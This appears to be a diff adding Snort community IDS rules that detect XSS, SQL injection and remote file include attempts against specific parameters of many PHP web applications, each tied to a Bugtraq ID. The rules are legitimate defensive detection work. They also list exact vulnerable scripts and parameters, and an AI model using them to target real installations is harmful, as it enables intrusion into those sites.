+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Horde problem.php xss attempt"; flow:to_server,established; uricontent:"services/problem.php"; nocase; uricontent:"name="; nocase; pcre:"/name(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18845; classtype:web-application-attack; sid:100000780; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Horde go.php xss attempt"; flow:to_server,established; uricontent:"services/go.php"; nocase; uricontent:"untrusted="; nocase; pcre:"/untrusted(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18845; classtype:web-application-attack; sid:100000781; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Horde go.php xss attempt"; flow:to_server,established; uricontent:"services/go.php"; nocase; uricontent:"url="; nocase; pcre:"/url(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18845; classtype:web-application-attack; sid:100000782; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ATutor create_course.php xss attempt"; flow:to_server,established; uricontent:"/create_course.php"; nocase; uricontent:"show_courses="; nocase; pcre:"/show_courses(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18857; classtype:web-application-attack; sid:100000783; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ATutor create_course.php xss attempt"; flow:to_server,established; uricontent:"/create_course.php"; nocase; uricontent:"current_cat="; nocase; pcre:"/current_cat(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18857; classtype:web-application-attack; sid:100000784; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ATutor password_reminder.php xss attempt"; flow:to_server,established; uricontent:"/password_reminder.php"; nocase; uricontent:"forgot="; nocase; pcre:"/forgot(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18857; classtype:web-application-attack; sid:100000785; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ATutor browse.php xss attempt"; flow:to_server,established; uricontent:"/browse.php"; nocase; uricontent:"cat="; nocase; pcre:"/cat(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18857; classtype:web-application-attack; sid:100000786; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ATutor fix_content.php xss attempt"; flow:to_server,established; uricontent:"/fix_content.php"; nocase; uricontent:"submit="; nocase; pcre:"/submit(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18857; classtype:web-application-attack; sid:100000787; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP FreeWebshop search.php xss attempt"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"page="; nocase; pcre:"/page(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18878; classtype:web-application-attack; sid:100000788; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP FreeWebshop details.php SQL injection attempt"; flow:to_server,established; uricontent:"/details.php"; nocase; uricontent:"prod="; nocase; pcre:"/prod(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18878; classtype:web-application-attack; sid:100000789; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot edit_new.php remote file include"; flow:to_server,established; uricontent:"/edit_new.php"; nocase; uricontent:"Paths[extensions_path]="; nocase; pcre:"/Paths\[extensions_path\]=(https?|ftp)/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000790; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot pv_core.php access"; flow:to_server,established; uricontent:"/pv_core.php"; nocase; uricontent:"="; nocase;  reference:bugtraq,18881; classtype:web-application-activity; sid:100000791; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot blogroll.php xss attempt"; flow:to_server,established; uricontent:"/blogroll.php"; nocase; uricontent:"fg="; nocase; pcre:"/fg(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000792; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot blogroll.php xss attempt"; flow:to_server,established; uricontent:"/blogroll.php"; nocase; uricontent:"line1="; nocase; pcre:"/line1(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000793; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot blogroll.php xss attempt"; flow:to_server,established; uricontent:"/blogroll.php"; nocase; uricontent:"line2="; nocase; pcre:"/line2(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000794; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot blogroll.php xss attempt"; flow:to_server,established; uricontent:"/blogroll.php"; nocase; uricontent:"bg="; nocase; pcre:"/bg(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000795; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot blogroll.php xss attempt"; flow:to_server,established; uricontent:"/blogroll.php"; nocase; uricontent:"c1="; nocase; pcre:"/c1(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000796; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot blogroll.php xss attempt"; flow:to_server,established; uricontent:"/blogroll.php"; nocase; uricontent:"c2="; nocase; pcre:"/c2(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000797; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot blogroll.php xss attempt"; flow:to_server,established; uricontent:"/blogroll.php"; nocase; uricontent:"c3="; nocase; pcre:"/c3(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000798; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot blogroll.php xss attempt"; flow:to_server,established; uricontent:"/blogroll.php"; nocase; uricontent:"c4="; nocase; pcre:"/c4(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000799; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot editor_menu.php xss attempt"; flow:to_server,established; uricontent:"/editor_menu.php"; nocase; uricontent:"name="; nocase; pcre:"/name(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000800; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Pivot editor_menu.php xss attempt"; flow:to_server,established; uricontent:"/editor_menu.php"; nocase; uricontent:"js_name="; nocase; pcre:"/js_name(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18881; classtype:web-application-attack; sid:100000801; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP BosClassifieds index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"insPath="; nocase; pcre:"/insPath=(https?|ftp)/Ui"; reference:bugtraq,18883; classtype:web-application-attack; sid:100000802; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP BosClassifieds recent.php remote file include"; flow:to_server,established; uricontent:"/recent.php"; nocase; uricontent:"insPath="; nocase; pcre:"/insPath=(https?|ftp)/Ui"; reference:bugtraq,18883; classtype:web-application-attack; sid:100000803; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP BosClassifieds account.php remote file include"; flow:to_server,established; uricontent:"/account.php"; nocase; uricontent:"insPath="; nocase; pcre:"/insPath=(https?|ftp)/Ui"; reference:bugtraq,18883; classtype:web-application-attack; sid:100000804; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP BosClassifieds classified.php remote file include"; flow:to_server,established; uricontent:"/classified.php"; nocase; uricontent:"insPath="; nocase; pcre:"/insPath=(https?|ftp)/Ui"; reference:bugtraq,18883; classtype:web-application-attack; sid:100000805; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP BosClassifieds search.php remote file include"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"insPath="; nocase; pcre:"/insPath=(https?|ftp)/Ui"; reference:bugtraq,18883; classtype:web-application-attack; sid:100000806; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP CommonSense search.php SQL injection attempt"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"q="; nocase; pcre:"/q(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18893; classtype:web-application-attack; sid:100000807; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP AjaxPortal ajaxp.php SQL injection attempt"; flow:to_server,established; uricontent:"/ajaxp.php"; nocase; uricontent:"username="; nocase; pcre:"/username(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18897; classtype:web-application-attack; sid:100000808; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP RW Download stats.php remote file include"; flow:to_server,established; uricontent:"/stats.php"; nocase; uricontent:"root_path="; nocase; pcre:"/root_path=(https?|ftp)/Ui"; reference:bugtraq,18901; classtype:web-application-attack; sid:100000809; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPBB download.php remote file include"; flow:to_server,established; uricontent:"/download.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18914; classtype:web-application-attack; sid:100000810; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPBB attach_rules.php remote file include"; flow:to_server,established; uricontent:"/attach_rules.php"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,18914; classtype:web-application-attack; sid:100000811; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SimpleBoard SBP index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"sbp="; nocase; pcre:"/sbp=(https?|ftp)/Ui"; reference:bugtraq,18917; classtype:web-application-attack; sid:100000812; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SimpleBoard SBP file_upload.php remote file include"; flow:to_server,established; uricontent:"/file_upload.php"; nocase; uricontent:"sbp="; nocase; pcre:"/sbp=(https?|ftp)/Ui"; reference:bugtraq,18917; classtype:web-application-attack; sid:100000813; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SimpleBoard SBP image_upload.php remote file include"; flow:to_server,established; uricontent:"/image_upload.php"; nocase; uricontent:"sbp="; nocase; pcre:"/sbp=(https?|ftp)/Ui"; reference:bugtraq,18917; classtype:web-application-attack; sid:100000814; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SimpleBoard SBP performs.php remote file include"; flow:to_server,established; uricontent:"/performs.php"; nocase; uricontent:"sbp="; nocase; pcre:"/sbp=(https?|ftp)/Ui"; reference:bugtraq,18917; classtype:web-application-attack; sid:100000815; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PC_CookBook pccookbook.php remote file include"; flow:to_server,established; uricontent:"/pccookbook.php"; nocase; uricontent:"mosConfig_absolute_path="; nocase; pcre:"/mosConfig_absolute_path=(https?|ftp)/Ui"; reference:bugtraq,18919; classtype:web-application-attack; sid:100000816; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SMF Forum smf.php remote file include"; flow:to_server,established; uricontent:"/smf.php"; nocase; uricontent:"mosConfig_absolute_path="; nocase; pcre:"/mosConfig_absolute_path=(https?|ftp)/Ui"; reference:bugtraq,18924; classtype:web-application-attack; sid:100000817; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Graffiti Forums topics.php SQL injection attempt"; flow:to_server,established; uricontent:"/topics.php"; nocase; uricontent:"f="; nocase; pcre:"/f(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18928; classtype:web-application-attack; sid:100000818; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP SaPHPLesson add.php SQL injection attempt"; flow:to_server,established; uricontent:"/add.php"; nocase; uricontent:"forumid="; nocase; pcre:"/forumid(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18934; classtype:web-application-attack; sid:100000820; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZooM sub-join.php SQL injection attempt"; flow:to_server,established; uricontent:"/sub-join.php"; nocase; uricontent:"UserID="; nocase; pcre:"/UserID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18937; classtype:web-application-attack; sid:100000821; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZooM reply.php SQL injection attempt"; flow:to_server,established; uricontent:"/reply.php"; nocase; uricontent:"UserID="; nocase; pcre:"/UserID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18937; classtype:web-application-attack; sid:100000822; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZooM ignore-pm.php SQL injection attempt"; flow:to_server,established; uricontent:"/ignore-pm.php"; nocase; uricontent:"UserID="; nocase; pcre:"/UserID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18937; classtype:web-application-attack; sid:100000823; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP VBZooM sendmail.php SQL injection attempt"; flow:to_server,established; uricontent:"/sendmail.php"; nocase; uricontent:"UserID="; nocase; pcre:"/UserID(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18937; classtype:web-application-attack; sid:100000824; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Phorum posting.php xss attempt"; flow:to_server,established; uricontent:"/posting.php"; nocase; uricontent:"mode="; nocase; pcre:"/mode(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18941; classtype:web-application-attack; sid:100000825; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Phorum search.php SQL injection attempt"; flow:to_server,established; uricontent:"/search.php"; nocase; uricontent:"mode="; nocase; pcre:"/mode(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18941; classtype:web-application-attack; sid:100000826; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP HiveMail address.view.php xss attempt"; flow:to_server,established; uricontent:"/address.view.php"; nocase; uricontent:"email="; nocase; pcre:"/email(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18949; classtype:web-application-attack; sid:100000827; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP HiveMail address.view.php xss attempt"; flow:to_server,established; uricontent:"/address.view.php"; nocase; uricontent:"cond="; nocase; pcre:"/cond(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18949; classtype:web-application-attack; sid:100000828; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP HiveMail address.view.php xss attempt"; flow:to_server,established; uricontent:"/address.view.php"; nocase; uricontent:"name="; nocase; pcre:"/name(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18949; classtype:web-application-attack; sid:100000829; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP HiveMail index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"dayprune="; nocase; pcre:"/dayprune(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18949; classtype:web-application-attack; sid:100000830; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP HiveMail compose.email.php xss attempt"; flow:to_server,established; uricontent:"/compose.email.php"; nocase; uricontent:"data[to]="; nocase; pcre:"/data\[to\](=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18949; classtype:web-application-attack; sid:100000831; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP HiveMail read.markas.php xss attempt"; flow:to_server,established; uricontent:"/read.markas.php"; nocase; uricontent:"markas="; nocase; pcre:"/markas(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18949; classtype:web-application-attack; sid:100000832; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP HiveMail search.results.php SQL injection attempt"; flow:to_server,established; uricontent:"/search.results.php"; nocase; uricontent:"fields[]="; nocase; pcre:"/fields\[\](=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18949; classtype:web-application-attack; sid:100000833; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Lazarus codes-english.php xss attempt"; flow:to_server,established; uricontent:"/codes-english.php"; nocase; uricontent:"show="; nocase; pcre:"/show(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18956; classtype:web-application-attack; sid:100000834; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Lazarus picture.php xss attempt"; flow:to_server,established; uricontent:"/picture.php"; nocase; uricontent:"img="; nocase; pcre:"/img(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18956; classtype:web-application-attack; sid:100000835; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MiniBB com_minibb.php remote file include"; flow:to_server,established; uricontent:"/com_minibb.php"; nocase; uricontent:"absolute_path="; nocase; pcre:"/absolute_path=(https?|ftp)/Ui"; reference:bugtraq,18998; classtype:web-application-attack; sid:100000836; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MiniBB index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"absolute_path="; nocase; pcre:"/absolute_path=(https?|ftp)/Ui"; reference:bugtraq,18998; classtype:web-application-attack; sid:100000837; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PhotoCycle photocycle.php xss attempt"; flow:to_server,established; uricontent:"/photocycle.php"; nocase; uricontent:"phppage="; nocase; pcre:"/phppage(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18964; classtype:web-application-attack; sid:100000838; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP Event Calendar calendar.php remote file include"; flow:to_server,established; uricontent:"/calendar.php"; nocase; uricontent:"path_to_calendar="; nocase; pcre:"/path_to_calendar=(https?|ftp)/Ui"; reference:bugtraq,18965; classtype:web-application-attack; sid:100000839; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP FlatNuke index.php remote file include"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"mod="; nocase; pcre:"/mod=(https?|ftp)/Ui"; reference:bugtraq,18966; classtype:web-application-attack; sid:100000840; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PerForms performs.php remote file include"; flow:to_server,established; uricontent:"/performs.php"; nocase; uricontent:"mosConfig_absolute_path="; nocase; pcre:"/mosConfig_absolute_path=(https?|ftp)/Ui"; reference:bugtraq,18968; classtype:web-application-attack; sid:100000841; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPBB 3 memberlist.php SQL injection attempt"; flow:to_server,established; uricontent:"/memberlist.php"; nocase; uricontent:"ip="; nocase; pcre:"/ip(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18969; classtype:web-application-attack; sid:100000842; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Koobi Pro index.php xss attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"showtopic="; nocase; pcre:"/showtopic(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,18970; classtype:web-application-attack; sid:100000843; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Koobi Pro index.php SQL injection attempt"; flow:to_server,established; uricontent:"/index.php"; nocase; uricontent:"showtopic="; nocase; pcre:"/showtopic(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18970; classtype:web-application-attack; sid:100000844; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Invision Power Board ipsclass.php SQL injection attempt"; flow:to_server,established; uricontent:"/ipsclass.php"; nocase; uricontent:"HTTP_CLIENT_IP="; nocase; pcre:"/HTTP_CLIENT_IP(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,18984; classtype:web-application-attack; sid:100000845; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Subberz Lite user-func.php remote file include"; flow:to_server,established; uricontent:"/user-func.php"; nocase; uricontent:"myadmindir="; nocase; pcre:"/myadmindir=(https?|ftp)/i"; reference:bugtraq,18990; classtype:web-application-attack; sid:100000846; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Sitemap sitemap.xml.php remote file include"; flow:to_server,established; uricontent:"components/com_sitemap/sitemap.xml.php"; nocase; uricontent:"mosConfig_absolute_path="; nocase; pcre:"/mosConfig_absolute_path=(https?|ftp)/Ui"; reference:bugtraq,18991; classtype:web-application-attack; sid:100000847; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP IceWarp include.php remote file include"; flow:to_server,established; uricontent:"accounts/inc/include.php"; nocase; uricontent:"language="; nocase; pcre:"/language=(https?|ftp)/i"; reference:bugtraq,19007; classtype:web-application-attack; sid:100000849; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP IceWarp include.php remote file include"; flow:to_server,established; uricontent:"accounts/inc/include.php"; nocase; uricontent:"lang_settings="; nocase; pcre:"/lang_settings=(https?|ftp)/Ui"; reference:bugtraq,19007; classtype:web-application-attack; sid:100000850; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP IceWarp include.php remote file include"; flow:to_server,established; uricontent:"admin/inc/include.php"; nocase; uricontent:"language="; nocase; pcre:"/language=(https?|ftp)/Ui"; reference:bugtraq,19007; classtype:web-application-attack; sid:100000851; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP IceWarp include.php remote file include"; flow:to_server,established; uricontent:"admin/inc/include.php"; nocase; uricontent:"lang_settings="; nocase; pcre:"/lang_settings=(https?|ftp)/Ui"; reference:bugtraq,19007; classtype:web-application-attack; sid:100000852; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP IceWarp settings.html remote file include"; flow:to_server,established; uricontent:"mail/settings.html"; nocase; uricontent:"language="; nocase; pcre:"/language=(https?|ftp)/Ui"; reference:bugtraq,19007; classtype:web-application-attack; sid:100000853; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP ListMessenger listmessenger.php remote file include"; flow:to_server,established; uricontent:"/listmessenger.php"; nocase; uricontent:"lm_path="; nocase; pcre:"/lm_path=(https?|ftp)/Ui"; reference:bugtraq,19014; classtype:web-application-attack; sid:100000854; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt"; flow:to_server,established; uricontent:"/class.php"; nocase; uricontent:"name="; nocase; pcre:"/name(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,19019; classtype:web-application-attack; sid:100000855; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt"; flow:to_server,established; uricontent:"/class.php"; nocase; uricontent:"mail="; nocase; pcre:"/mail(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,19019; classtype:web-application-attack; sid:100000856; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt"; flow:to_server,established; uricontent:"/class.php"; nocase; uricontent:"ip="; nocase; pcre:"/ip(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,19019; classtype:web-application-attack; sid:100000857; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt"; flow:to_server,established; uricontent:"/class.php"; nocase; uricontent:"text="; nocase; pcre:"/text(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,19019; classtype:web-application-attack; sid:100000858; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt"; flow:to_server,established; uricontent:"/class.php"; nocase; uricontent:"hidemail="; nocase; pcre:"/hidemail(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,19019; classtype:web-application-attack; sid:100000859; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Francisco Charrua Photo-Gallery room.php SQL injection attempt"; flow:to_server,established; uricontent:"/room.php"; nocase; uricontent:"id="; nocase; pcre:"/id(=|\x3f)?\w*\x27/Ui"; reference:bugtraq,19020; classtype:web-application-attack; sid:100000860; rev:1;)
